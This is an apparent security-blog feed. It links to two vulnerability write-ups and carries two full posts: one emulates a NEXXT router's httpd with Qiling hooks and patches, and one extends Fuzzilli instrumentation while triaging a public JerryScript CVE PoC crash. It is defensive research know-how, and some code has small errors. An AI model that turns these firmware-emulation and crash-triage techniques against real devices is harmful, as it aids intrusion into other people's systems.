“Why don’t you pick on projects […]

The post Multiple vulnerabilities in Eclipse ThreadX appeared first on hn security.

Qiling is an emulation framework that builds upon the Unicorn emulator by providing higher level functionality such as support for dynamic library loading, syscall interception and more.

In this Labs post, we are going to look into Qiling and how it can be used to emulate a HTTP server binary from a router. The target chosen for this research was the NEXXT Polaris 150 travel router.

The firmware was unpacked with binwalk which found a root filesystem containing lots of MIPS binaries.

HTTPD Startup

Before attempting to emulate the HTTP server, it was required to build a basic understanding of how the device initialises. A quick check of the unpacked rcS startup script (under /etc_ro) contained a helpful comment:

#!/bin/sh

... snip ...

# netctrl : system main process, 
# all others will be invoked by it.
netctrl &

... snip ...

Simple enough. The helpful comment states that netctrl will spawn every other process, which should include the HTTP server. Loading netctrl into Ghidra confirmed this. A call to getCfmValue() is made just before httpd is launched via doSystem().

netctrl doesn’t do much more than launching programs via doSystem().

Having a quick look at httpd (spawned by netctrl) in Ghidra shows that it is a dynamically linked MIPS binary that uses pthreads.

Emulation Journey

When emulating a dynamically linked Linux ELF binary, Qiling requires a root filesystem and the binary itself. The filesystem is managed in a similar way to a chroot environment, therefore the binary will only have access to the provided filesystem and not the host filesystem (although this can be configured if necessary).

Since binwalk extracted the root filesystem from the firmware already, the root filesystem can simply be passed to Qiling. The code below does just that and then proceeds to run the /bin/httpd binary.

from qiling import Qiling
from qiling.const import *

def main():
  rootfs_path = "_US_Polaris150_V1.0.0.30_EN_NEX01.bin.extracted/_40.extracted/_3E5000.extracted/cpio-root"
  ql = Qiling([rootfs_path + "/bin/httpd"], rootfs_path, multithread=True, verbose=QL_VERBOSE.DEBUG)
  ql.run()

if __name__ == "__main__":
  main()

Passing multithread=True explicitly instructs Qiling to enable threading support for emulated binaries that use multiple threads, which is required in this case as httpd is using pthreads.

Starting off with verbose=QL_VERBOSE.DEBUG gives a better understanding of how the binary operates as all syscalls (and arguments) are logged.

Running this code presents an issue. Nothing printed to stdout by httpd is shown in the terminal. The very first line of code in the httpd main function uses puts() to print a banner, yet this output cannot be seen.

This is where Qiling hooks can be very useful. Instead of calling the real puts() function inside of the extracted libc a hook can be used to override the puts() implementation and call a custom Python implementation instead. This is achieved using the set_api() function Qiling provides, as show in the code snippet below.

def puts_hook(ql: Qiling):
params = ql.os.resolve_fcall_params({'s': STRING})
ql.log.warning(f"puts_hook: {params['s']}")
return 0

def main():

  ... snip ...

  ql.os.set_api("puts", puts_hook, QL_INTERCEPT.CALL)

  ... snip ...

Every call to puts() is now hooked and will call the Python puts_hook() instead. The hook resolves the string argument passed to puts() and then logs it to the terminal. Since QL_INTERCEPT.CALL is used as the last argument to set_api() then only the hook is called and not the real puts() function. Hooks can also be configured to not override the real function by using QL_INTERCEPT.ENTER / QL_INTERCEPT.EXIT instead.

Running the binary again shows the expected output:

Now the server is running but no ports are open. A simple way to diagnose this is to change the verbosity level in the Qiling constructor to verbose=QL_VERBOSE.DISASM which will disassemble every instruction as its ran.

Emulation hangs on the instruction located at 0x0044a8dc. Navigating to this offset in Ghidra shows a thunk that is calling pthread_create() via the global offset table.

The first cross reference to the thunk comes from the __upgrade() function which is only triggered when a firmware upgrade is requested through the web UI. The second reference comes from the InitWanStatisticTask() function which is always called from the httpd main function. This is likely where the emulation is hanging.

This function doesn’t appear to be critical for the operation of the HTTP server so doesn’t necessarily need to be executed.

There’s a few ways to tackle this:

• Hook and override pthread_create() or InitWanStatisticTask()
• Patch the jump to pthread_create() with a NOP

To demonstrate the patching capabilities of Qiling the second option was chosen. The jump to pthread_create() happens at 0x00439f3c inside the InitWanStatisticTask() function.

To generate the machine code that represents a MIPS NOP instruction, the Python bindings for the Keystone framework can be used. The NOP bytes can be then written to the emulator memory using the patch() function, as shown below.

def main():

  ... snip ...

  ks = Ks(KS_ARCH_MIPS, KS_MODE_MIPS32)
  nop, _ = ks.asm("NOP")
  ql.patch(0x00439f3c, bytes(nop))

  ... snip ...

The emulator doesn’t hang anymore but instead prints an error. httpd attempts to open /var/run/goahead.pid but the file doesn’t exist.

Looking at the extracted root filesystem, the /var/run/ directory doesn’t exist. Creating the run directory and an empty goahead.pid file inside the extracted root filesystem gets past this error.

Emulation now errors when httpd tries to open /dev/nvram to retrieve the configured LAN IP address.

Searching for the error string initWebs: cannot find lanIpAddr in NVRAM in httpd highlights the following code:

getCfmValue() is called with two arguments. The first being the NVRAM key to retrieve, and the second being a fixed size out buffer to save the NVRAM value into.

The getCfmValue() function is a wrapper around the nvram_bufget() function from /lib/libnvram-0.9.28.so. Having a closer look at nvram_bufget() shows how /dev/nvram is accessed using ioctl() calls.

Qiling offers a few options to emulate the NVRAM access:

• Emulate the /dev/nvram file using add_fs_mapper()
• Hook ioctl() calls and match on the arguments passed
• Hook the getCfmValue() function at offset 0x0044a910

The last option is the most direct and easiest to implement using Qiling hooks. This time the hook_address() function needs to be used which only hooks a specific address and not a function (unlike the previously used set_api() function).

This means that the hook handler will be called at the target address and then execution will continue as normal, so to skip over the getCfmValue() function implementation the hook must manually set the program counter to the end of the function by writing to ql.arch.regs.arch_pc.

The body of the handler resolves the NVRAM key and the pointer to the NVRAM value out buffer. A check is made for the key lanIpAddr and if it matches then the string 192.168.1.1 is written to the out buffer.

def getCfmValue_hook(ql: Qiling):
  params = ql.os.resolve_fcall_params(
    {
      'key': STRING,
      'out_buf': POINTER
    }
  )

  nvram_key = params["key"]
  nvram_value = ""
  if nvram_key == "lanIpAddr":
    nvram_value = "192.168.1.1"

  ql.log.warning(f"===> getCfmValue_hook: {nvram_key} -> {nvram_value}")

  # save the fake NVRAM value into the out parameter
  ql.mem.string(params["out_buf"], nvram_value)

  # force return from getCfmValue
  ql.arch.regs.arch_pc = 0x0044a92c

def main():

  ... snip ...

  ql.hook_address(getCfmValue_hook, 0x0044a910)

  ... snip ...

httpd now runs for a few seconds then crashes with a [Errno 11] Resource temporarily unavailable. The error message is from Qiling and related to the ql_syscall_recv() handler which is responsible for emulating the recv() syscall.

Error number 11 translates to EWOULDBLOCK / EAGAIN which is triggered when a read is attempted on a non-blocking socket but there is no data available, therefore the read would be blocked. To configure non-blocking mode the fcntl() syscall is generally used, which sets the O_NONBLOCK flag on the socket. Looking for cross references to this syscall highlighted the following function at 0x004107c8:

socketSetBlock()  takes a socket file descriptor and a boolean to disable non-blocking mode on the file descriptor. The current file descriptor flags are retrieved at line 17 or 24 and the O_NONBLOCK flags is set / cleared at line 20 or 27. Finally, the new flags value is set for the socket at line 30 with a call to fcntl().

This function is an ideal candidate for hooking to ensure that O_NONBLOCK is never enabled. By hooking socketSetBlock() and always forcing the disable_non_block argument to be any non-zero value should make the function always disable O_NONBLOCK.

Inside the socketSetBlock_hook the disable_non_block argument is set to 1 by directly modifying the value inside the a1 register:

def socketSetBlock_hook(ql: Qiling):
    ql.log.warning("===> socketSetBlock_hook: disabling O_NONBLOCK")
    # force disable_non_block
    ql.arch.regs.a1 = 1

def main():
    ... snip ...
    ql.hook_address(socketSetBlock_hook, 0x004107c8)
    ... snip ...

If this helper function didn’t exist then the fcntl() syscall would need to be hooked using the set_syscall() function from Qiling.

Running the emulator again opens up port 8080! Navigating to localhost:8080 in a web browser loads a partially rendered login page and then the emulator crashes.

The logs show an Invalid memory write inside a specific thread. There aren’t many details to go off.

Since this error originates from the main thread and the emulated binary is effectively single threaded (after the NOP patch) the multithread argument passed to the Qiling constructor was changed to False.

Restarting the emulation and reloading the login page worked without crashing!

NVRAM stores the password which is retrieved using the previously hooked getCfmValue() function. After returning a fake password from getCfmValue_hook() the device can be logged into.

def getCfmValue_hook(ql: Qiling):
    ... snip ...
    elif nvram_key == "Password":
        nvram_value = "password"
    ... snip ...

Logging in causes the emulator to crash once again. This time, /proc/net/arp is expected to exist but the root filesystem doesn’t contain it.

Simply creating this file in the root filesystem fixes this issue.

After re-running the emulation everything seems to be working. The webpages can be navigated to without the emulator crashing! To make the pages fully functional required NVRAM values must exist which is an easy fix using the getCfmValue_hook.

Conclusion

Hopefully this Labs post gave a useful insight into some of the capabilities of Qiling. Qiling has many more features not covered here, including support for emulating bare metal binaries, GDB server integration, snapshots, fuzzing, code coverage and much more.

Finally, a few things to note:

• Multithreading support isn’t perfect
• More often than not `Qiling1 will fail to handle multiple threads correctly
• Privileged ports are remapped to the original port + 8000 unless the emulation is ran as a privileged user
• Reducing the verbosity with the verbose parameter can significantly speed up execution
• Qiling documentation is often missing or outdated

The full code used throughout this article can be found below:

from qiling.os.const import *
from qiling.os.posix.syscall import *
from keystone import *


def puts_hook(ql: Qiling):
    params = ql.os.resolve_fcall_params({'s': STRING})
    ql.log.warning(f"===> puts_hook: {params['s']}")
    return 0


def getCfmValue_hook(ql: Qiling):
    params = ql.os.resolve_fcall_params(
        {
            'key': STRING,
            'out_buf': POINTER
        }
    )

    nvram_key = params["key"]
    nvram_value = ""
    if nvram_key == "lanIpAddr":
        nvram_value = "192.168.1.1"
    elif nvram_key == "wanIpAddr":
        nvram_value = "1.2.3.4"
    elif nvram_key == "workMode":
        nvram_value = "router"
    elif nvram_key == "Login":
        nvram_value = "admin"
    elif nvram_key == "Password":
        nvram_value = "password"

    ql.log.warning(f"===> getCfmValue_hook: {nvram_key} -> {nvram_value}")

    # save the fake NVRAM value into the out parameter
    ql.mem.string(params["out_buf"], nvram_value)
    # force return from getCfmValue
    ql.arch.regs.arch_pc = 0x0044a92c


def socketSetBlock_hook(ql: Qiling):
    ql.log.warning(f"===> socketSetBlock_hook: disabling O_NONBLOCK")
    # force disable_non_block
    ql.arch.regs.a1 = 1


def main():
    rootfs_path = "_US_Polaris150_V1.0.0.30_EN_NEX01.bin.extracted/_40.extracted/_3E5000.extracted/cpio-root"
    ql = Qiling([rootfs_path + "/bin/httpd"], rootfs_path, multithread=False, verbose=QL_VERBOSE.DEBUG)

    ql.os.set_api("puts", puts_hook, QL_INTERCEPT.CALL)

    # patch pthread_create() call in `InitWanStatisticTask`
    ks = Ks(KS_ARCH_MIPS, KS_MODE_MIPS32)
    nop, _ = ks.asm("NOP")
    ql.patch(0x00439f3c, bytes(nop))

    ql.hook_address(getCfmValue_hook, 0x0044a910)
    ql.hook_address(socketSetBlock_hook, 0x004107c8)

    ql.run()


if __name__ == "__main__":
    main()

The post Emulation with Qiling appeared first on LRQA Nettitude Labs.

“Where there is parsing, there are […]

The post Multiple vulnerabilities in RIOT OS appeared first on hn security.

We at IncludeSec sometimes have the need to develop fuzzing harnesses for our clients as part of our security assessment and pentesting work. Using fuzzing in an assessment methodology can uncover vulnerabilities in modern and complex software during security assessments by providing a faster way to submit highly structured inputs to the applications. This technique is usually applied when a more comprehensive effort beyond manual and traditional automated testing are requested by our clients to provide an additional analysis to uncover more esoteric vulnerabilities.

Introduction

Coverage-guided fuzzing is a useful capability in advanced fuzzers (AFL, libFuzzer, Fuzzilli, and others). This capability permits the fuzzer to acknowledge if an input can discover new edges or branches in the binary execution paths. An edge links two branches in a control flow graph (CFG). For instance, if a logical condition involves an if-else statement, there would be two edges, one for the if and the other for the else statement. It is a significant part of the fuzzing process, helping determine if the target program’s executable code is effectively covered by the fuzzer.

A guided fuzzing process usually utilizes a coverage-guided fuzzing (CGF) technique, employing very basic instrumentation to collect data needed to identify if a new edge or coverage block is hit during the execution of a fuzz test case. The instrumentation is code added during the compilation process, utilized for a number of reasons, including software debugging which is how we will use it in this post.

However, CGF instrumentation techniques can be extended, such as by adding new metrics, as demonstrated in this paper [1], where the authors consider not only the edge count but when there is a security impact too. Generally, extending instrumentation is useful to retrieve more information from the target programs.

In this post, we modify the Fuzzilli patch for the software JerryScript. JerryScript has a known and publicly available vulnerability/exploit, that we can use to show how extending Fuzzilli’s instrumentation could be helpful for more easily identifying vulnerabilities and providing more useful feedback to the fuzzer for further testing. Our aim is to demonstrate how we can modify the instrumentation and extract useful data for the fuzzing process.

[1] (Not All Coverage Measurements Are Equal: Fuzzing by Coverage Accounting for Input Prioritization – NDSS Symposium (ndss-symposium.org)

Fuzzing

Fuzzing is the process of submitting random inputs to trigger an unexpected behavior from the application. In recent approaches, the fuzzers consider various aspects of the target application for generating inputs, including the seeds – sources for generating the inputs. Since modern software has complex structures, we can not reach satisfactory results using simple inputs. In other words, by not affecting most of the target program it will be difficult to discover new vulnerabilities.

The diagram below shows an essential structure for a fuzzer with mutation strategy and code coverage capability.

1. Seeds are selected;
2. The mutation process takes the seeds to originate inputs for the execution;
3. The execution happens;
4. A vulnerability can occur or;
5. The input hits a new edge in the target application; the fuzzer keeps mutating the same seed or; 
6. The input does not hit new edges, and the fuzzer selects a new seed for mutation.

The code coverage is helpful to identify if the input can reach different parts of the target program by pointing to the fuzzer that a new edge or block was found during the execution.

CLANG

Clang [Clang]  is a compiler for the C, C++, Objective-C, and Objective-C++ programming languages. It is part of the LLVM project and offers advantages over traditional compilers like GCC (GNU Compiler Collection), including more expressive diagnostics, faster compilation times, and extensive analysis support. 

One significant tool within the Clang compiler is the sanitizer. Sanitizers are security libraries or tools that can detect bugs and vulnerabilities automatically by instrumenting the code. The compiler checks the compiled code for security implications when the sanitizer is enabled.

There are a few types of sanitizers in this context:

• AddressSanitizer (ASAN): This tool detects memory errors, including vulnerabilities like buffer overflows, use-after-free, double-free, and memory leaks.

• UndefinedBehaviorSanitizer (UBSAN): Identifies undefined behavior in C/C++ code such as integer overflow, division by zero, null pointer dereferences, and others.

• MemorySanitizer (MSAN): Detected uninitialized memory reads in C/C++ programs that can lead to unpredictable behavior.

• ThreadSanitizer (TSAN): Detects uninitialized data races and deadlocks in multithreads C/C++ applications.

• LeakSanitizer (LSAN): This sanitizer is integrated with AddressSanitizer and helps detect memory leaks, ensuring that all allocated memory is being freed. 

The LLVM documentation (SanitizerCoverage — Clang 19.0.0git documentation (llvm.org)) provides a few examples of what to do with the tool. The shell snippet below shows the command line for the compilation using the ASAN option to trace the program counter.

$ clang -o targetprogram -g -fsanitize=address -fsanitize-coverage=trace-pc-guard targetprogram.c

From clang documentation:

“LLVM has a simple code coverage instrumentation built in (SanitizerCoverage). It inserts calls to user-defined functions on function-, basic-block-, and edge- levels. Default implementations of those callbacks are provided and implement simple coverage reporting and visualization, however if you need just coverage visualization you may want to use SourceBasedCodeCoverage instead.”

For example, code coverage in Fuzzilli (googleprojectzero/fuzzilli: A JavaScript Engine Fuzzer (github.com)), Google’s state-of-the-art JavaScript engine fuzzer, utilizes simple instrumentation to respond to Fuzzilli’s process, as demonstrated in the code snippet below.

extern "C" void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
    uint32_t index = *guard;
    __shmem->edges[index / 8] |= 1 << (index % 8);
    *guard = 0;
}

The function __sanitizer_cov_trace_pc_guard() will consistently execute when a new edge is found, so no condition is necessary to interpret the new edge discovery. Then, the function changes a bit in the shared bitmap __shmem->edges to 1 (bitwise OR), and then Fuzzilli analyzes the bitmap after execution.

Other tools, like LLVM-COV (llvm-cov – emit coverage information — LLVM 19.0.0git documentation), capture code coverage information statically, providing a human-readable document after execution; however, fuzzers need to be efficient, and reading documents in the disk would affect the performance.

Getting More Information

We can modify Fuzzilli’s instrumentation and observe other resources that __sanitizer_cov_trace_pc_guard() can bring to the code coverage. The code snippet below demonstrates the Fuzzilli instrumentation with a few tweaks.

extern "C" void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
    uint32_t index = *guard;

    void *PC = __builtin_return_address(0);
    char PcDescr[1024];

    __sanitizer_symbolize_pc(PC, "%p %F %L", PcDescr, sizeof(PcDescr));
    printf("guard: %p %x PC %s\n", guard, *guard, PcDescr);

    __shmem->edges[index / 8] |= 1 << (index % 8);
    *guard = 0;
}

We already know that the function __sanitizer_cov_trace_pc_guard() is executed every time the instrumented program hits a new edge. In this case, we are utilizing the function __builtin_return_address() to collect the return addresses from every new edge hit in the target program. Now, the pointer PC has the return address information. We can utilize the __sanitizer_symbolize_pc() function to correlate the address to the symbols, providing more information about the source code file used during the execution.

Most fuzzers use only the edge information to guide the fuzzing process. However, as we will demonstrate in the next section, using the sanitizer interface can provide compelling information for security assessments.

Lab Exercise

In our laboratory, we will utilize another JavaScript engine. In this case, an old version of JerryScript JavaScript engine to create an environment.

• Operating System (OS): Ubuntu 22.04
• Target Program: JerryScript 
• Vulnerability: CVE-2023-36109

Setting Up the Environment

You can build JerryScript using the following instructions.

First, clone the repository:

$ git clone https://github.com/jerryscript-project/jerryscript.git

Enter into the JerryScript folder and checkout the 8ba0d1b6ee5a065a42f3b306771ad8e3c0d819bc commit.

$ git checkout 8ba0d1b6ee5a065a42f3b306771ad8e3c0d819bc

Fuzzilli utilizes the head 8ba0d1b6ee5a065a42f3b306771ad8e3c0d819bc for the instrumentation, and we can take advantage of the configuration done for our lab. Apply the patch available in the Fuzziilli’s repository (fuzzilli/Targets/Jerryscript/Patches/jerryscript.patch at main · googleprojectzero/fuzzilli (github.com))

$ cd jerry-main
$ wget https://github.com/googleprojectzero/fuzzilli/raw/main/Targets/Jerryscript/Patches/jerryscript.patch
$ patch < jerryscript.patch
patching file CMakeLists.txt
patching file main-fuzzilli.c
patching file main-fuzzilli.h
patching file main-options.c
patching file main-options.h
patching file main-unix.c

The instrumented file is jerry-main/main-fuzzilli.c, provided by the Fuzzilli’s patch.  It comes with the necessary to work with simple code coverage capabilities. Still, we want more, so we can use the same lines we demonstrated in the previous section to update the function __sanitizer_cov_trace_pc_guard() before the compilation. Also, adding the following header to jerry-main/main-fuzzilli.c file:

#include <sanitizer/common_interface_defs.h>

The file header describes the __sanitizer_symbolize_pc() function, which will be needed in our implementation. We will modify the function in the jerry-main/main-fuzzilli.c file.

void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
    uint32_t index = *guard;
    if(!index) return;
    index--;

    void *PC = __builtin_return_address(0);
    char PcDescr[1024];

    __sanitizer_symbolize_pc(PC, "%p %F %L", PcDescr, sizeof(PcDescr));
    printf("guard: %p %x PC %s\n", (void *)guard, *guard, PcDescr);
    __shmem->edges[index / 8] |= 1 << (index % 8);
    *guard = 0;
}

We now change the compilation configuration and disable the strip. The symbols are only needed to identify the possible vulnerable functions for our demonstration.

In the root folder CMakeLists.txt file

# Strip binary
if(ENABLE_STRIP AND NOT CMAKE_BUILD_TYPE STREQUAL "Debug")
  jerry_add_link_flags(-g)
endif()

It defaults with the -s option; change to -g to keep the symbols. Make sure that jerry-main/CMakeLists.txt contains the main-fuzzilli.c file, and then we are ready to compile. We can then build it using the Fuzzilli instructions.

$ python jerryscript/tools/build.py --compile-flag=-fsanitize-coverage=trace-pc-guard --profile=es2015-subset --lto=off --compile-flag=-D_POSIX_C_SOURCE=200809 --compile-flag=-Wno-strict-prototypes --stack-limit=15

If you have installed Clang, but the output line CMAKE_C_COMPILER_ID is displaying GNU or something else, you will have errors during the building.

$ python tools/build.py --compile-flag=-fsanitize-coverage=trace-pc-guard --profile=es2015-subset --lto=off --compile-flag=-D_POSIX_C_SOURCE=200809 --compile-flag=-Wno-strict-prototypes --stack-limit=15
-- CMAKE_BUILD_TYPE               MinSizeRel
-- CMAKE_C_COMPILER_ID            GNU
-- CMAKE_SYSTEM_NAME              Linux
-- CMAKE_SYSTEM_PROCESSOR         x86_64

You can simply change the CMakeLists.txt file, lines 28-42 to enforce Clang instead of GNU by modifying USING_GCC 1 to USING_CLANG 1, as shown below:

# Determining compiler
if(CMAKE_C_COMPILER_ID MATCHES "GNU")
  set(USING_CLANG 1)
endif()

if(CMAKE_C_COMPILER_ID MATCHES "Clang")
  set(USING_CLANG 1)
endif()

The instrumented binary will be the build/bin/jerry file.

Execution

Let’s start by disabling ASLR (Address Space Layout Randomization).

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

After testing, we can re-enable the ASLR by setting the value to 2.

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

We want to track the address to the source code file, and disabling the ASLR will help us stay aware during the analysis and not affect our results. The ASLR will not impact our lab, but keeping the addresses fixed during the fuzzing process will be fundamental.

Now, we can execute JerryScript using the PoC file for the vulnerability CVE-2023-36109 (Limesss/CVE-2023-36109: a poc for cve-2023-36109 (github.com)), as an argument to trigger the vulnerability. As described in the vulnerability description, the vulnerable function is at ecma_stringbuilder_append_raw in jerry-core/ecma/base/ecma-helpers-string.c, highlighted in the command snippet below. 

$ ./build/bin/jerry ./poc.js
[...]
guard: 0x55e17d12ac88 7bb PC 0x55e17d07ac6b in ecma_string_get_ascii_size ecma-helpers-string.c
guard: 0x55e17d12ac84 7ba PC 0x55e17d07acfe in ecma_string_get_ascii_size ecma-helpers-string.c
guard: 0x55e17d12ac94 7be PC 0x55e17d07ad46 in ecma_string_get_size (/jerryscript/build/bin/jerry+0x44d46) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12e87c 16b8 PC 0x55e17d09dfe1 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x67fe1) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12ae04 81a PC 0x55e17d07bb64 in ecma_stringbuilder_append_raw (/jerryscript/build/bin/jerry+0x45b64) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12e890 16bd PC 0x55e17d09e053 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x68053) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12e8b8 16c7 PC 0x55e17d09e0f1 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x680f1) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d133508 29db PC 0x55e17d0cc292 in ecma_builtin_replace_substitute (/jerryscript/build/bin/jerry+0x96292) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d133528 29e3 PC 0x55e17d0cc5bd in ecma_builtin_replace_substitute (/jerryscript/build/bin/jerry+0x965bd) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12f078 18b7 PC 0x55e17d040a78 in jmem_heap_realloc_block (/jerryscript/build/bin/jerry+0xaa78) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12f088 18bb PC 0x55e17d040ab4 in jmem_heap_realloc_block (/jerryscript/build/bin/jerry+0xaab4) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12f08c 18bc PC 0x55e17d040c26 in jmem_heap_realloc_block (/jerryscript/build/bin/jerry+0xac26) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
guard: 0x55e17d12f094 18be PC 0x55e17d040ca3 in jmem_heap_realloc_block (/jerryscript/build/bin/jerry+0xaca3) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==27636==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x55e27da7950c (pc 0x7fe341fa092b bp 0x000000000000 sp 0x7ffc77634f18 T27636)
==27636==The signal is caused by a READ memory access.
    #0 0x7fe341fa092b  string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:513
    #1 0x55e17d0cc3bb in ecma_builtin_replace_substitute (/jerryscript/build/bin/jerry+0x963bb) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #2 0x55e17d09e103 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x68103) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #3 0x55e17d084a23 in ecma_builtin_dispatch_call (/jerryscript/build/bin/jerry+0x4ea23) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #4 0x55e17d090ddc in ecma_op_function_call_native ecma-function-object.c
    #5 0x55e17d0909c1 in ecma_op_function_call (/jerryscript/build/bin/jerry+0x5a9c1) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #6 0x55e17d0d4743 in ecma_builtin_string_prototype_object_replace_helper ecma-builtin-string-prototype.c
    #7 0x55e17d084a23 in ecma_builtin_dispatch_call (/jerryscript/build/bin/jerry+0x4ea23) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #8 0x55e17d090ddc in ecma_op_function_call_native ecma-function-object.c
    #9 0x55e17d0909c1 in ecma_op_function_call (/jerryscript/build/bin/jerry+0x5a9c1) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #10 0x55e17d0b929f in vm_execute (/jerryscript/build/bin/jerry+0x8329f) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #11 0x55e17d0b8d4a in vm_run (/jerryscript/build/bin/jerry+0x82d4a) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #12 0x55e17d0b8dd0 in vm_run_global (/jerryscript/build/bin/jerry+0x82dd0) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #13 0x55e17d06d4a5 in jerry_run (/jerryscript/build/bin/jerry+0x374a5) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #14 0x55e17d069e32 in main (/jerryscript/build/bin/jerry+0x33e32) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
    #15 0x7fe341e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #16 0x7fe341e29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #17 0x55e17d0412d4 in _start (/jerryscript/build/bin/jerry+0xb2d4) (BuildId: 9588e1efabff4190fd492d05d3710c7810323407)
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:513 
==27636==ABORTING

Using this technique, we could identify the root cause of the vulnerability in the function ecma_stringbuilder_append_raw() address in the stack trace. 

However, if we rely only on the sanitizer to check the stack trace, we won’t be able to see the vulnerable function name in our output:

$ ./build/bin/jerry ./poc.js 
[COV] no shared memory bitmap available, skipping
[COV] edge counters initialized. Shared memory: (null) with 14587 edges
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==54331==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x5622ae01350c (pc 0x7fc1925a092b bp 0x000000000000 sp 0x7ffed516b838 T54331)
==54331==The signal is caused by a READ memory access.
    #0 0x7fc1925a092b  string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:513
    #1 0x5621ad66636b in ecma_builtin_replace_substitute (/jerryscript/build/bin/jerry+0x9636b) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #2 0x5621ad6380b3 in ecma_regexp_replace_helper (/jerryscript/build/bin/jerry+0x680b3) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #3 0x5621ad61e9d3 in ecma_builtin_dispatch_call (/jerryscript/build/bin/jerry+0x4e9d3) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #4 0x5621ad62ad8c in ecma_op_function_call_native ecma-function-object.c
    #5 0x5621ad62a971 in ecma_op_function_call (/jerryscript/build/bin/jerry+0x5a971) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #6 0x5621ad66e6f3 in ecma_builtin_string_prototype_object_replace_helper ecma-builtin-string-prototype.c
    #7 0x5621ad61e9d3 in ecma_builtin_dispatch_call (/jerryscript/build/bin/jerry+0x4e9d3) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #8 0x5621ad62ad8c in ecma_op_function_call_native ecma-function-object.c
    #9 0x5621ad62a971 in ecma_op_function_call (/jerryscript/build/bin/jerry+0x5a971) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #10 0x5621ad65324f in vm_execute (/jerryscript/build/bin/jerry+0x8324f) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #11 0x5621ad652cfa in vm_run (/jerryscript/build/bin/jerry+0x82cfa) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #12 0x5621ad652d80 in vm_run_global (/jerryscript/build/bin/jerry+0x82d80) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #13 0x5621ad607455 in jerry_run (/jerryscript/build/bin/jerry+0x37455) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #14 0x5621ad603e32 in main (/jerryscript/build/bin/jerry+0x33e32) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)
    #15 0x7fc192429d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #16 0x7fc192429e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #17 0x5621ad5db2d4 in _start (/jerryscript/build/bin/jerry+0xb2d4) (BuildId: 15a3c1cd9721e9f1b4e15fade2028ddca6dc542a)

UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:513 
==54331==ABORTING

This behavior happens because the vulnerability occurs far from the last execution in the program. Usually, the primary action would be debugging to identify the address of the vulnerable function in memory. 

Additional Considerations

The vulnerable address or address space could be used as a guide during fuzzing. We can then compare the PC to the specific address space and instruct the fuzzer to focus on a path by mutating the same input in an attempt to cause other vulnerabilities in the same function or file.
For example, we can also feed data related to historical vulnerability identification, correlate dangerous files to their address space in a specific project and include them into the instrumentation, and give feedback to the fuzzer to achieve a more focused fuzzing campaign.

We do not necessarily need to use __sanitizer_symbolize_pc for the fuzzing process; this is done only to demonstrate the function and file utilized by each address. Our methodology would only require void *PC = __builtin_return_address(0). The PC will point to the current PC address in the execution, which is the only information needed for the comparison and guiding process.

As we demonstrated above, we can retrieve more information about the stack trace and identify vulnerable execution paths. So, let’s look at Fuzzilli’s basic algorithm, described in their NDSS paper.

